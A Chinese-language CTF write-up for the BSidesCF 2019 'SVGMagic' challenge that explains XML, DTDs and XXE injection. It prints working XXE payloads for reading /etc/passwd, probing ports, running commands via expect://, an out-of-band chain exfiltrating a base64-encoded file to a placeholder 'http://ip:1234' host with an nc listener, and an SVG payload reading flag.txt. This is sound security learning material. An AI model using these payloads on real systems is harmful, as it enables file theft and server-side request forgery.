[BSidesCF 2019]SVGMagic

题目

image-20240526114640109

题目里有svg,试一下xxe

XML外部实体注入(XXE)

1.基础知识
1)什么是xml

XML(可扩展标记语言,Extensible Markup Language)是一种用于存储和传输数据的标记语言。它是互联网上数据交换的常用工具,因为它提供了一种结构化数据的方式,使得数据既易于阅读又易于机器解析。

XML的基本结构由以下部分组成:

  • 文档声明:定义XML文档的版本和字符编码。
  • 元素:由开始标签、内容和结束标签组成 。
  • 属性:提供关于元素的额外信息,例如<book id=”1”> 。
  • 注释:用于在文档中插入注释,不会影响文档的解析。
  • CDATA:用于包含不应该被解析器解析的文本。
2)什么是DTD

DTD(文档类型定义,Document Type Definition)是一种在XML中用于定义XML文档结构和内容的规范。它定义了XML文档中允许的元素、属性列表以及元素之间的关系。DTD可以内嵌在XML文档中,也可以作为外部引用。

DTD的基本语法包括:

  • 元素声明:使用 `` 指令来声明元素及其内容模型。
  • 属性列表声明:使用 `` 指令来声明元素的属性。
  • 实体声明:使用 `` 指令来声明实体,可以是内部实体或外部实体。
  • 符号声明:使用 `` 指令来声明非XML数据的处理方式。

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE note [
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
3)什么是实体

实体

  • 在XML中,实体是一种用于定义重复文本或特殊字符的机制。实体可以在XML文档中被引用,并且会被XML解析器替换为它们的定义内容。
  • 实体分为内部实体和外部实体:
    • 内部实体:在XML文档内部定义,通常用于表示重复的文本或特殊的字符。例如,& 代表字符 &< 代表字符 <
    • 外部实体:引用外部的资源,可以是一个文件或URL。例如,`` 定义了一个名为 writer 的外部实体,它指向一个外部XML文件。
2.XXE注入漏洞
1)概念

xml外部实体注入,全称为XML external entity injection,某些应用程序允许XML格式的数据输入和解析,可以通过引入外部实体的方式进行攻击。

2)危害

a.) 检索文件,其中定义了包含文件内容的外部实体,并在应用程序的响应中返回。

b.)执行SSRF攻击,其中外部实体是基于后端系统的URL定义的,如:

1
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >

探测端口;

1
<!ENTITY xxe SYSTEM "expect://id" >

执行命令;

c.)无回显读取本地敏感文件(Blind OOB XXE),敏感数据从应用服务器传输到攻击者的服务器上。

d.) 通过Blind XXE错误消息检索数据是否存在,攻击者可以触发包含敏感数据的解析错误消息。

3.具体利用
1)有回显读本地文件

例如

1
2
3
4
5
6
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<data>&xxe;</data>
</root>
2)无回显情况

在自己的VPS上放置(这里就提一下,我自己都还没有。。)

xml.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/WINDOWS/win.ini">
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://ip:1234/?%file;'>">

&#x25;会被xml解析成%,直接用可能会报错,使用php://filter进行编码,如果文件的内容如果只是简单的字母数字不加伪协议也可以,但是一旦带有换行或者特殊的符号就会爆一个warning invaild url

提交的payload

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE Note [
<!ENTITY % remote SYSTEM "http://ip/xml.dtd">
%remote;
%start;
%send;
]>

在VPS上开启监听1234端口

1
nc -lvp 1234

调用过程

1.首先我们payload中的% remote去获取vps上的xml.dtd
2.然后xml.dtd中的% start去调用% file
3.% file获取服务器上的C:/WINDOWS/win.ini文件并将他base64编码
4.最后通过% send将数据发送到vps监听的1234端口上

svg造成xxe

SVG(可缩放矢量图形,Scalable Vector Graphics)是一种基于XML的图像格式,用于描述二维图形。由于SVG是基于XML的,因此它也可能受到XXE(XML External Entity)注入攻击的影响。

如果一个应用程序接受用户上传的SVG文件,并在后端使用XML解析器来处理这些文件,那么如果没有正确配置解析器来禁用外部实体的处理,就可能会发生XXE攻击。

对于本题,和一般的xxe没什么区别,用file协议直接读文件就行,/proc/self/cwd/是什么意思可参考Linux的/proc/self/学习_proc self-CSDN博客,不过我不知道的是flag.txt这个文件名是怎么知道的,看了其他人的blog也没说法,各种方法试了一下状态码都是500,,,

1
2
3
4
5
6
7
8
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "file:///proc/self/cwd/flag.txt">
]>
<svg width="1000" height="100">
<text x="20" y="20">&t;</text>
</svg>

image-20240526151126965

小结

这个知识点还是不怎么难的,除了对flag.txt有点小问题其他都还行,校赛的时候也有类似的题,不过当时一直在看sql注入(提示的源码是mysql,然后题目是sqlite,被误导了,寄,,,),最后还是zgg给WP的时候查查xinclude可能就出了,难受啊,,,